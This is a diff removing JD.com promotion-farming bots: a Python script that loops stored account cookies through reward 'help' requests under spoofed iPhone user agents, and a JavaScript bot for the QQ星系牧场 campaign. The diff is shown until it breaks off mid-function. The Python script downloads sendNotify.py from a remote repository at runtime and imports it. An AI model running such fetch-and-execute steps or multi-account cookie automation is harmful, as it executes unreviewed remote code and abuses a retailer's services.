-UserAgent = '' -# 限制速度 (秒) -sleepNum = 0.1 - -try: - import requests -except Exception as e: - print(e, "\n缺少requests 模块,请执行命令安装:python3 -m pip install requests") - exit(3) -requests.packages.urllib3.disable_warnings() - -pwd = os.path.dirname(os.path.abspath(__file__)) + os.sep -t = time.time() -aNum = 0 -beanCount = 0 -userCount = {} -# 获取通知服务 - - -class msg(object): - def __init__(self, m): - self.str_msg = m - self.message() - - def message(self): - global msg_info - print(self.str_msg) - try: - msg_info = "{}\n{}".format(msg_info, self.str_msg) - except: - msg_info = "{}".format(self.str_msg) - sys.stdout.flush() - - def getsendNotify(self, a=0): - if a == 0: - a += 1 - try: - url = 'https://gitee.com/curtinlv/Public/raw/master/sendNotify.py' - response = requests.get(url) - if 'curtinlv' in response.text: - with open('sendNotify.py', "w+", encoding="utf-8") as f: - f.write(response.text) - else: - if a < 5: - a += 1 - return self.getsendNotify(a) - else: - pass - except: - if a < 5: - a += 1 - return self.getsendNotify(a) - else: - pass - - def main(self): - global send - cur_path = os.path.abspath(os.path.dirname(__file__)) - sys.path.append(cur_path) - if os.path.exists(cur_path + "/sendNotify.py"): - try: - from sendNotify import send - except: - self.getsendNotify() - try: - from sendNotify import send - except: - print("加载通知服务失败~") - else: - self.getsendNotify() - try: - from sendNotify import send - except: - print("加载通知服务失败~") - - ################### -msg("").main() -############## - - -def getEnvs(label): - try: - if label == 'True' or label == 'yes' or label == 'true' or label == 'Yes': - return True - elif label == 'False' or label == 'no' or label == 'false' or label == 'No': - return False - except Exception as e: - pass - try: - if '.' in label: - return float(label) - elif '&' in label: - return label.split('&') - elif '@' in label: - return label.split('@') - else: - return int(label) - except: - return label - - -class getJDCookie(object): - # 适配各种平台环境ck - - def getckfile(self): - global v4f - curf = pwd + 'JDCookies.txt' - v4f = '/jd/config/config.sh' - ql_new = '/ql/config/env.sh' - ql_old = '/ql/config/cookie.sh' - if os.path.exists(curf): - with open(curf, "r", encoding="utf-8") as f: - cks = f.read() - f.close() - r = re.compile(r"pt_key=.*?pt_pin=.*?;", re.M | re.S | re.I) - cks = r.findall(cks) - if len(cks) > 0: - return curf - else: - pass - if os.path.exists(ql_new): - print("当前环境青龙面板新版") - return ql_new - elif os.path.exists(ql_old): - print("当前环境青龙面板旧版") - return ql_old - elif os.path.exists(v4f): - print("当前环境V4") - return v4f - return curf - - # 获取cookie - def getCookie(self): - global cookies - ckfile = self.getckfile() - try: - if os.path.exists(ckfile): - with open(ckfile, "r", encoding="utf-8") as f: - cks = f.read() - f.close() - if 'pt_key=' in cks and 'pt_pin=' in cks: - r = re.compile(r"pt_key=.*?pt_pin=.*?;", - re.M | re.S | re.I) - cks = r.findall(cks) - if len(cks) > 0: - if 'JDCookies.txt' in ckfile: - print("当前获取使用 JDCookies.txt 的cookie") - cookies = '' - for i in cks: - if 'pt_key=xxxx' in i: - pass - else: - cookies += i - return - else: - with open(pwd + 'JDCookies.txt', "w", encoding="utf-8") as f: - cks = "#多账号换行,以下示例:(通过正则获取此文件的ck,理论上可以自定义名字标记ck,也可以随意摆放ck)\n账号1【Curtinlv】cookie1;\n账号2【TopStyle】cookie2;" - f.write(cks) - f.close() - if "JD_COOKIE" in os.environ: - if len(os.environ["JD_COOKIE"]) > 10: - cookies = os.environ["JD_COOKIE"] - print("已获取并使用Env环境 Cookie") - except Exception as e: - print(f"【getCookie Error】{e}") - - # 检测cookie格式是否正确 - def getUserInfo(self, ck, pinName, userNum): - url = 'https://me-api.jd.com/user_new/info/GetJDUserInfoUnion' - headers = { - 'Cookie': ck, - 'Accept': '*/*', - 'Referer': 'https://home.m.jd.com/myJd/home.action', - 'Accept-Encoding': 'gzip, deflate, br', - 'Host': 'me-api.jd.com', - 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 14_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Mobile/15E148 Safari/604.1', - 'Accept-Language': 'zh-cn' - } - try: - # resp = requests.get(url=url, - # headers=headers, timeout=60).json() - # print(resp) - # r = re.compile(r'GetJDUserInfoUnion.*?\((.*?)\)') - # result = r.findall(resp) - # userInfo = json.loads(result[0]) - # nickname = userInfo['data']['userInfo']['baseInfo']['nickname'] - # return ck, nickname - return ck, ck - except Exception as e: - print(e) - context = f"账号{userNum}【{pinName}】Cookie 已失效!请重新获取。" - print(context) - return ck, False - - def iscookie(self): - """ - :return: cookiesList,userNameList,pinNameList - """ - cookiesList = [] - userNameList = [] - pinNameList = [] - if 'pt_key=' in cookies and 'pt_pin=' in cookies: - r = re.compile(r"pt_key=.*?pt_pin=.*?;", re.M | re.S | re.I) - result = r.findall(cookies) - if len(result) >= 1: - print("您已配置{}个账号".format(len(result))) - u = 1 - for i in result: - r = re.compile(r"pt_pin=(.*?);") - pinName = r.findall(i) - pinName = unquote(pinName[0]) - # 获取账号名 - ck, nickname = self.getUserInfo(i, pinName, u) - if nickname != False: - cookiesList.append(ck) - userNameList.append(nickname) - pinNameList.append(pinName) - else: - u += 1 - continue - u += 1 - if len(cookiesList) > 0 and len(userNameList) > 0: - return cookiesList, userNameList, pinNameList - else: - print("没有可用Cookie,已退出") - exit(3) - else: - print("cookie 格式错误!...本次操作已退出") - exit(4) - else: - print("cookie 格式错误!...本次操作已退出") - exit(4) - - -getCk = getJDCookie() -getCk.getCookie() -# 获取v4环境 特殊处理 -if os.path.exists(v4f): - try: - with open(v4f, 'r', encoding='utf-8') as f: - curenv = locals() - for i in f.readlines(): - r = re.compile( - r'^export\s(.*?)=[\'\"]?([\w\.\-@#!&=_,\[\]\{\}\(\)]{1,})+[\'\"]{0,1}$', re.M | re.S | re.I) - r = r.findall(i) - if len(r) > 0: - for i in r: - if i[0] != 'JD_COOKIE': - curenv[i[0]] = getEnvs(i[1]) - except: - pass - -if "qjd_zlzh" in os.environ: - if len(os.environ["qjd_zlzh"]) > 1: - qjd_zlzh = os.environ["qjd_zlzh"] - qjd_zlzh = qjd_zlzh.replace('[', '').replace(']', '').replace( - '\'', '').replace(' ', '').split(',') - print("已获取并使用Env环境 qjd_zlzh:", qjd_zlzh) - - -def userAgent(): - """ - 随机生成一个UA - :return: - """ - if not UserAgent: - uuid = ''.join(random.sample( - '123456789abcdef123456789abcdef123456789abcdef123456789abcdef', 40)) - iosVer = ''.join(random.sample( - ["14.5.1", "14.4", "14.3", "14.2", "14.1", "14.0.1", "13.7", "13.1.2", "13.1.1"], 1)) - iPhone = ''.join(random.sample(["8", "9", "10", "11", "12", "13"], 1)) - return f'jdapp;iPhone;10.0.4;{iosVer};{uuid};network/wifi;ADID/8679C062-A41A-4A25-88F1-50A7A3EEF34A;model/iPhone{iPhone},1;addressid/3723896896;appBuild/167707;jdSupportDarkMode/0' - else: - return UserAgent - - -def getShareCode(ck): - global aNum - try: - # uuid = ''.join(random.sample('123456789abcdef123456789abcdef123456789abcdef123456789abcdef', 40)) - v_num1 = ''.join(random.sample( - ["1", "2", "3", "4", "5", "6", "7", "8", "9"], 1)) + ''.join(random.sample(string.digits, 4)) - url1 = f'https://api.m.jd.com/client.action?functionId=signGroupHit&body=%7B%22activeType%22%3A2%7D&appid=ld&client=apple&clientVersion=10.0.6&networkType=wifi&osVersion=14.3&uuid=&jsonp=jsonp_' + \ - str(int(round(t * 1000))) + '_' + v_num1 - url = 'https://api.m.jd.com/client.action?functionId=signBeanGroupStageIndex&body=%7B%22monitor_refer%22%3A%22%22%2C%22rnVersion%22%3A%223.9%22%2C%22fp%22%3A%22-1%22%2C%22shshshfp%22%3A%22-1%22%2C%22shshshfpa%22%3A%22-1%22%2C%22referUrl%22%3A%22-1%22%2C%22userAgent%22%3A%22-1%22%2C%22jda%22%3A%22-1%22%2C%22monitor_source%22%3A%22bean_m_bean_index%22%7D&appid=ld&client=apple&clientVersion=&networkType=&osVersion=&uuid=&jsonp=jsonp_' + \ - str(int(round(t * 1000))) + '_' + v_num1 - head = { - 'Cookie': ck, - 'Accept': '*/*', - 'Connection': 'keep-alive', - 'Referer': 'https://h5.m.jd.com/rn/3MQXMdRUTeat9xqBSZDSCCAE9Eqz/index.html?has_native=0', - 'Accept-Encoding': 'gzip, deflate, br', - 'Host': 'api.m.jd.com', - # 'User-Agent': 'Mozilla/5.0 (iPhone CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1', - 'User-Agent': userAgent(), - 'Accept-Language': 'zh-cn' - } - requests.get(url1, headers=head, verify=False, timeout=30) - resp = requests.get(url=url, headers=head, - verify=False, timeout=30).text - r = re.compile(r'jsonp_.*?\((.*?)\)\;', re.M | re.S | re.I) - result = r.findall(resp) - jsonp = json.loads(result[0]) - try: - groupCode = jsonp['data']['groupCode'] - shareCode = jsonp['data']['shareCode'] - activityId = jsonp['data']['activityMsg']['activityId'] - sumBeanNumStr = int(jsonp['data']['sumBeanNumStr']) - except: - if aNum < 5: - aNum += 1 - return getShareCode(ck) - else: - groupCode = 0 - shareCode = 0 - sumBeanNumStr = 0 - aNum = 0 - activityId = 0 - aNum = 0 - return groupCode, shareCode, sumBeanNumStr, activityId - except Exception as e: - print(f"getShareCode Error", e) - - -def helpCode(ck, groupCode, shareCode, u, unum, user, activityId): - try: - v_num1 = ''.join(random.sample( - ["1", "2", "3", "4", "5", "6", "7", "8", "9"], 1)) + ''.join(random.sample(string.digits, 4)) - headers = { - 'Cookie': ck, - 'Accept': '*/*', - 'Connection': 'keep-alive', - 'Referer': f'https://h5.m.jd.com/rn/42yjy8na6pFsq1cx9MJQ5aTgu3kX/index.html?jklActivityId=115&source=SignSuccess&jklGroupCode={groupCode}&ad_od=1&jklShareCode={shareCode}', - 'Accept-Encoding': 'gzip, deflate, br', - 'Host': 'api.m.jd.com', - 'User-Agent': userAgent(), - 'Accept-Language': 'zh-cn' - } - url = 'https://api.m.jd.com/client.action?functionId=signGroupHelp&body=%7B%22activeType%22%3A2%2C%22groupCode%22%3A%22' + \ - str(groupCode) + '%22%2C%22shareCode%22%3A%22' + shareCode + \ - f'%22%2C%22activeId%22%3A%22{activityId}%22%2C%22source%22%3A%22guest%22%7D&appid=ld&client=apple&clientVersion=10.0.4&networkType=wifi&osVersion=13.7&uuid=&openudid=&jsonp=jsonp_{int(round(t * 1000))}_{v_num1}' - resp = requests.get(url=url, headers=headers, - verify=False, timeout=30).text - r = re.compile(r'jsonp_.*?\((.*?)\)\;', re.M | re.S | re.I) - result = r.findall(resp) - jsonp = json.loads(result[0]) - helpToast = jsonp['data']['helpToast'] - pageFlag = jsonp['data']['pageFlag'] - if pageFlag == 0: - print(f"账号{unum}【{u}】助力失败! 原因:{helpToast}") - if '满' in helpToast: - print(f"## 恭喜账号【{user}】团已满,今日累计获得160豆") - return True - return False - else: - if '火' in helpToast: - print(f"账号{unum}【{u}】助力失败! 原因:{helpToast}") - else: - print(f"账号{unum}【{u}】{helpToast} , 您也获得1豆哦~") - return False - except Exception as e: - print(f"helpCode Error ", e) - - -def start(): - scriptName = '### 全民抢京豆-助力 ###' - print(scriptName) - global cookiesList, userNameList, pinNameList, ckNum, beanCount, userCount - cookiesList, userNameList, pinNameList = getCk.iscookie() - for ckname in qjd_zlzh: - try: - ckNum = userNameList.index(ckname) - except Exception as e: - try: - ckNum = pinNameList.index(unquote(ckname)) - except: - print(f"请检查被助力账号【{ckname}】名称是否正确?提示:助力名字可填pt_pin的值、也可以填账号名。") - continue - - print(f"### 开始助力账号【{userNameList[int(ckNum)]}】###") - groupCode, shareCode, sumBeanNumStr, activityId = getShareCode( - cookiesList[ckNum]) - if groupCode == 0: - msg(f"## {userNameList[int(ckNum)]} 获取互助码失败。请手动分享后再试~ 或建议早上再跑。") - continue - u = 0 - for i in cookiesList: - if i == cookiesList[ckNum]: - u += 1 - continue - result = helpCode( - i, groupCode, shareCode, userNameList[u], u+1, userNameList[int(ckNum)], activityId) - time.sleep(sleepNum) - if result: - break - u += 1 - groupCode, shareCode, sumBeanNumStr, activityId = getShareCode( - cookiesList[ckNum]) - userCount[f'{userNameList[ckNum]}'] = sumBeanNumStr - beanCount += sumBeanNumStr - print("\n-------------------------") - for i in userCount.keys(): - msg(f"账号【{i}】已抢京豆: {userCount[i]}") - msg(f"## 今日累计获得 {beanCount} 京豆") - try: - send(scriptName, msg_info) - except: - pass - - -if __name__ == '__main__': - start() diff --git a/backUp/jd_qqxing.js b/backUp/jd_qqxing.js deleted file mode 100644 index 1edea19..0000000 --- a/backUp/jd_qqxing.js +++ /dev/null @@ -1,670 +0,0 @@ -/* -星系牧场 -活动入口:QQ星儿童牛奶京东自营旗舰店->星系牧场 -每次都要手动打开才能跑 不知道啥问题 -号1默认给我助力,后续接龙 2给1 3给2 - 19.0复制整段话 http:/J7ldD7ToqMhRJI星系牧场养牛牛,可获得DHA专属奶!%VAjYb8me2b!→去猄倲← - -https://lzdz-isv.isvjcloud.com/dingzhi/qqxing/pasture/activity?activityId=90121061401&lng=107.146935&lat=33.255252&sid=cad74d1c843bd47422ae20cadf6fe5aw&un_area=8_573_6627_52446 -更新地址:https://raw.githubusercontent.com/Wenmoux/scripts/wen/jd/jd_ddnc_farmpark.js - -【原作者 @Wenmoux】 - -【二次修改 @zero205】 - -添加:自动喂食; -修改:默认不做加购物车任务,优化黑号处理。By:zero205 -需要加购FS_LEVEL=car (或者card,仓库内很多脚本都是这个变量,card=开卡+加购,car=只加购) -环境变量: -CowKeep:保留食物的数量(低于这个才喂食物) -============Quantumultx=============== -[task_local] -#星系牧场 -45 0,6-23/2 * * * https://raw.githubusercontent.com/Wenmoux/scripts/wen/jd/jd_qqxing.js, tag=星系牧场, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true -*/ -const $ = new Env('QQ星系牧场'); -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const randomCount = $.isNode() ? 20 : 5; -const notify = $.isNode() ? require('./sendNotify') : ''; -let merge = {} -let codeList = [] -Exchange = $.isNode() ? (process.env.Cowexchange ? process.env.Cowexchange : false) : ($.getdata("Cowexchange") ? $.getdata("Cowexchange") : false); -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], - cookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} - -const JD_API_HOST = `https://api.m.jd.com/client.action`; -message = "" -$.shareuuid = ["8cec00a4917e4af6ae49f8f4f9e7b58d", "f9e36b5518074c85a59abc6451d6216f","2d4ce1b209d7442aaf1a114752277e85"][Math.floor((Math.random() * 3))]; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { - "open-url": "https://bean.m.jd.com/" - }); - return; - } - console.log(`\n【原作者 @Wenmoux】\nBy:zero205\n添加:自动喂食\n修改:跳过加购物车任务,优化黑号处理\n`); - console.log(`\n活动入口:QQ星儿童牛奶京东自营旗舰店->我的->星系牧场\n\n懒人直达口令:16:/¥PB4H36E5f6NaPa%,星系牧场养牛牛,可获得DHA专属奶!\n\n【注意】Response code 493 (undefined)报错是正常情况,活动抽风而已,请勿反馈!!!\n`) - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - if (cookie) { - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.cando = true - $.canrun = true - $.cow = "" - $.openCard = true - $.isLogin = true; - $.needhelp = true - $.foodNum = 0 - $.nickName = ''; - $.drawresult = "" - $.exchange = 0 - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { - "open-url": "https://bean.m.jd.com/bean/signIndex.action" - }); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await genToken() - await getActCk() - await getToken2() - await getshopid() - await getMyPin() - if (!$.canrun) continue - await adlog() - await getUserInfo() - if ($.cando) { - await getUid($.shareuuid) - await getinfo() - taskList = [...$.taskList, ...$.taskList2] - for (j = 0; j < taskList.length; j++) { - task = taskList[j] - console.log(task.taskname) - if (task.taskid == "interact") { - for (l = 0; l < 20 - task.curNum; l++) { - await dotask(task.taskid, task.params) - await $.wait(5000) - } - } else if (task.taskid == "scansku") { - await getproduct() - await writePersonInfo($.vid) - await dotask(task.taskid, $.pparam) - } else if (task.taskid == "add2cart") { - if(['card','car'].includes(process.env.FS_LEVEL)){ - await dotask(task.taskid, $.pparam) - }else{ - console.log(`跳过加购物车任务`) - } - } else { - await dotask(task.taskid, task.params) - await $.wait(5000) - } - } - await getinfo() - await $.wait(3000) - if ($.score < 50000) { - let th = $.isNode() ? (process.env.CowKeep ? process.env.CowKeep : 100) : ($.getdata("CowKeep") ? $.getdata("CowKeep") : 100) - th = Math.max(100,th) - console.log(`【准备喂食,当前设置食物>${th}则喂食物,可通过设置环境变量CowKeep进行更改,需要大于100】`) - let boundry = 100 - while($.foodNum >= th && boundry--) { - await feed() - await $.wait(3000) - // await getinfo2() - // await $.wait(3000) - } - } else { - console.log(`\n【已升至最高等级,无需喂食,攒饲料兑换奖品吧】\n`) - } - for (k = 0; k < $.drawchance; k++) { - await draw() - await $.wait(2000) - } - let exchanges = Math.floor($.foodNum / 3000) - console.log(`可兑换 ${exchanges} 次 50京🐶`) - for (q = 0; q < exchanges && Exchange; q++) { - await exchange(14) //16是100豆 - } - await getinfo() - if (!Exchange) { console.log("你 默认 不兑换东西,请自行进去活动兑换") } - message += `【京东账号${$.index}】${$.nickName || $.UserName}\n${$.cow} 兑换京🐶 ${$.exchange} ${$.drawresult}\n\n` - if ($.index % 3 === 0) { - await $.wait(60 * 1000) - console.log("休息休息~") - } - } else { - $.msg($.name, "", "跑不起来了~请自己进去一次牧场") - } - } - } - if (message.length != 0 && new Date().getHours() == 11) { - if ($.isNode()) { - await notify.sendNotify("星系牧场", `${message}\n牧场入口:QQ星儿童牛奶京东自营旗舰店->星系牧场\n\n吹水群:https://t.me/wenmouxx`); - } else { - $.msg($.name, "", '星系牧场' + message) - } - } -})() - .catch((e) => $.logErr(e)) - .finally(() => $.done()) -//获取活动信息 - - - -//genToken -function genToken() { - let config = { - url: 'https://api.m.jd.com/client.action?functionId=genToken&clientVersion=10.0.5&build=88679&client=android&d_brand=Xiaomi&d_model=RedmiK30&osVersion=11&screen=2175*1080&partner=xiaomi001&oaid=b30cf82cacfa8972&openudid=290955c2782e1c44&eid=eidAef5f8122a0sf2tNlFbi9TV+3rtJ+jl5UptrTZo/Aq5MKUEaXcdTZC6RfEBt5Jt3Gtml2hS+ZvrWoDvkVv4HybKpJJVMdRUkzX7rGPOis1TRFRUdU&sdkVersion=30&lang=zh_CN&uuid=290955c2782e1c44&aid=290955c2782e1c44&area=8_573_6627_52446&networkType=wifi&wifiBssid=unknown&uts=0f31TVRjBSv3jTHxm2nVw0TY2tLLC%2BbMUWTL7l1wiidLQvx5ZA%2FtBqu04oDVd%2BAlgB%2FjTkTFhNHNpAgtViMD%2FiXVmOPPYYRQmRjsyK4Z61d%2BWQHH%2B3z7HGBUCyPLkYM%2Bb6QgeLXtFB%2FZVoGMidghf8RwpjmGNEtCcEY3WFFPvfKnNZKXPzwSJfkIsVes9jUE6bkyM4YGvjNk24i1yafg5g%3D%3D&uemps=0-0&st=1624319523639&sign=344ece5825b6f9623131c3bcfa42e9bd&sv=122', - body: 'body=%7B%22action%22%3A%22to%22%2C%22to%22%3A%22https%253A%252F%252Flzdz-isv.isvjcloud.com%252Fdingzhi%252Fqqxing%252Fpasture%252Factivity%252F9559009%253FactivityId%253D90121061401%2526shareUuid%253D8cec00a4917e4af6ae49f8f4f9e7b58d%2526adsource%253Dnull%2526shareuserid4minipg%253DqvjNiWQ2yv8K3NDiWv3DDE7oeVP9kq2pYSH90mYt4m3fwcJlClpxrfmVYaGKuquQkdK3rLBQpEQH9V4tdrrh0w%25253D%25253D%2526shopid%253Dundefined%22%7D&', - headers: { - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'user-agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', - 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', - 'content-type': 'application/x-www-form-urlencoded', - 'Cookie': cookie - } - } - return new Promise(resolve => { - $.post(config, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`); - console.log(`${JSON.stringify(err)}`) - } else { - data = JSON.parse(data); - $.isvToken = data['tokenKey'] - // console.log($.isvToken) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -//获取pin需要用到 -function getToken2() { - let config = { - url: 'https://api.m.jd.com/client.action?functionId=isvObfuscator&clientVersion=10.0.4&build=88641&client=android&d_brand=Xiaomi&d_model=RedmiK30&osVersion=11&screen=2175*1080&partner=xiaomi001&oaid=b30cf82cacfa8972&openudid=290955c2782e1c44&eid=eidAef5f8122a0sf2tNlFbi9TV+3rtJ+jl5UptrTZo/Aq5MKUEaXcdTZC6RfEBt5Jt3Gtml2hS+ZvrWoDvkVv4HybKpJJVMdRUkzX7rGPOis1TRFRUdU&sdkVersion=30&lang=zh_CN&uuid=290955c2782e1c44&aid=290955c2782e1c44&area=8_573_6627_52446&networkType=wifi&wifiBssid=unknown&uts=0f31TVRjBSu9ApHUouD8ZP%2BCIJSPfALzaaOxqgfonS67U6HheQNiBOrPSrSFlb95oI9qzuPuELmi%2F%2FXuuWZaM43r%2BL4Fk5d2eLpAtYb0ncWIZn0RtPoGD13HYTyZvdEv4lbuDE3%2Ffs5unT6u6fNdyKyT4khBw%2BCv4LL9n30ljoHX428ThOV2iwP1bxn0hTFM1Yyl%2BracFlZv6oNKsBWeaA%3D%3D&uemps=0-0&st=1624067570330&sign=189b90a2a6ac9cbd6c1017085f1baec2&sv=111', - body: 'body=%7B%22id%22%3A%22%22%2C%22url%22%3A%22https%3A%2F%2Flzdz-isv.isvjcloud.com%22%7D&', - headers: { - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'user-agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', - 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', - 'content-type': 'application/x-www-form-urlencoded', - 'Cookie': cookie - } - } - return new Promise(resolve => { - $.post(config, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - $.token2 = data['token'] - // console.log($.token2) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - - - - -//抄的书店的 不过不加好像也能进去 -function getActCk() { - return new Promise(resolve => { - $.get(taskUrl("/dingzhi/qqxing/pasture/activity", `activityId=90121061401&lng=107.146945&lat=33.255267&sid=cad74d1c843bd47422ae20cadf6fe5aw&un_area=27_2442_2444_31912`), (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} getActCk API请求失败,请检查网路重试`) - } else { - if ($.isNode()) - for (let ck of resp['headers']['set-cookie']) { - cookie = `${cookie}; ${ck.split(";")[0]};` - } - else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}; ${ck.split(";")[0]};` - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -//获取我的pin -function getshopid() { - let config = taskPostUrl("/dz/common/getSimpleActInfoVo", "activityId=90121061401") - return new Promise(resolve => { - $.post(config, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} getshopid API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.result) { - $.shopid = data.data.shopId - // console.log($.shopid) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -//获取我的pin -function getMyPin() { - let config = taskPostUrl("/customer/getMyPing", `userId=${$.shopid}&token=${encodeURIComponent($.token2)}&fromType=APP`) - // console.log(config) - return new Promise(resolve => { - $.post(config, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} getMyPin API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.data && data.data == 400001) { - console.log(`${data.errorMessage}\n`); - $.canrun = false - } else { - if (data.data && data.data.secretPin) { - $.pin = data.data.secretPin - $.nickname = data.data.nickname - console.log(`欢迎回来~ ${$.nickname}`); - } - if ($.isNode()) - for (let ck of resp['headers']['set-cookie']) { - cookie = `${cookie}; ${ck.split(";")[0]};` - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}; ${ck.split(";")[0]};` - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function adlog() { - let config = taskPostUrl("/common/accessLogWithAD", `venderId=1000361242&code=99&pin=${encodeURIComponent($.pin)}&activityId=90121061401&pageUrl=https%3A%2F%2Flzdz-isv.isvjcloud.com%2Fdingzhi%2Fqqxing%2Fpasture%2Factivity%3FactivityId%3D90121061401%26lng%3D107.146945%26lat%3D33.255267%26sid%3Dcad74d1c843bd47422ae20cadf6fe5aw%26un_area%3D27_2442_2444_31912&subType=app&adSource=`) - // console.log(config) - return new Promise(resolve => { - $.post(config, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // data = JSON.parse(data); - // if ($.isNode()) - // for (let ck of resp['headers']['set-cookie']) { - // cookie = `${cookie}; ${ck.split(";")[0]};` - // } - // else { - // for (let ck of resp['headers']['Set-Cookie'].split(',')) { - // cookie = `${cookie}; ${ck.split(";")[0]};` - // } - // } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - - - -// 获得用户信息 -function getUserInfo() { - return new Promise(resolve => { - let body = `pin=${encodeURIComponent($.pin)}` - let config = taskPostUrl('/wxActionCommon/getUserInfo', body) - // console.log(config) - $.post(config, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.data) { - $.userId = data.data.id - $.pinImg = data.data.yunMidImageUrl - $.nick = data.data.nickname - } else { - $.cando = false - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function getUid() { - return new Promise(resolve => { - let body = `activityId=90121061401&pin=${encodeURIComponent($.pin)}&pinImg=${$.pinImg}&nick=${encodeURIComponent($.nick)}&cjyxPin=&cjhyPin=&shareUuid=${$.shareuuid}` - $.post(taskPostUrl('/dingzhi/qqxing/pasture/activityContent', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.result) { - if (data.data.openCardStatus != 3) { - console.log("当前未开卡,无法助力和兑换奖励哦") - } - $.shareuuid = data.data.uid - console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${$.shareuuid}\n`); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -//获取任务列表 -function getinfo() { - let config = taskPostUrl("/dingzhi/qqxing/pasture/myInfo", `activityId=90121061401&pin=${encodeURIComponent($.pin)}&pinImg=${$.pinImg}&nick=${$.nick}&cjyxPin=&cjhyPin=&shareUuid=${$.shareuuid}`) - return new Promise(resolve => { - $.post(config, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} getinfo API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.result) { - $.taskList = data.data.task.filter(x => (x.maxNeed == 1 && x.curNum == 0) || x.taskid == "interact") - $.taskList2 = data.data.task.filter(x => x.maxNeed != 1 && x.type == 0) - $.draw = data.data.bags.filter(x => x.bagId == 'drawchance')[0] - $.food = data.data.bags.filter(x => x.bagId == 'food')[0] - $.sign = data.data.bags.filter(x => x.bagId == 'signDay')[0] - $.score = data.data.score - // console.log(data.data.task) - let helpinfo = data.data.task.filter(x => x.taskid == 'share2help')[0] - if (helpinfo) { - console.log(`今天已有${helpinfo.curNum}人为你助力啦`) - if (helpinfo.curNum == 20) { - $.needhelp = false - } - } - $.cow = `当前🐮🐮成长值:${$.score} 饲料:${$.food.totalNum - $.food.useNum} 抽奖次数:${$.draw.totalNum - $.draw.useNum} 签到天数:${$.sign.totalNum}` - $.foodNum = $.food.totalNum - $.food.useNum - console.log($.cow) - $.drawchance = $.draw.totalNum - $.draw.useNum - } else { - $.cando = false - // console.log(data) - console.log(data.errorMessage) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) - -} - -// 获取浏览商品 -function getproduct() { - return new Promise(resolve => { - let body = `type=4&activityId=90121061401&pin=${encodeURIComponent($.pin)}&actorUuid=${$.uuid}&userUuid=${$.uuid}` - $.post(taskPostUrl('/dingzhi/qqxing/pasture/getproduct', body), async (err, resp, data) => { - try { - if (err) { - 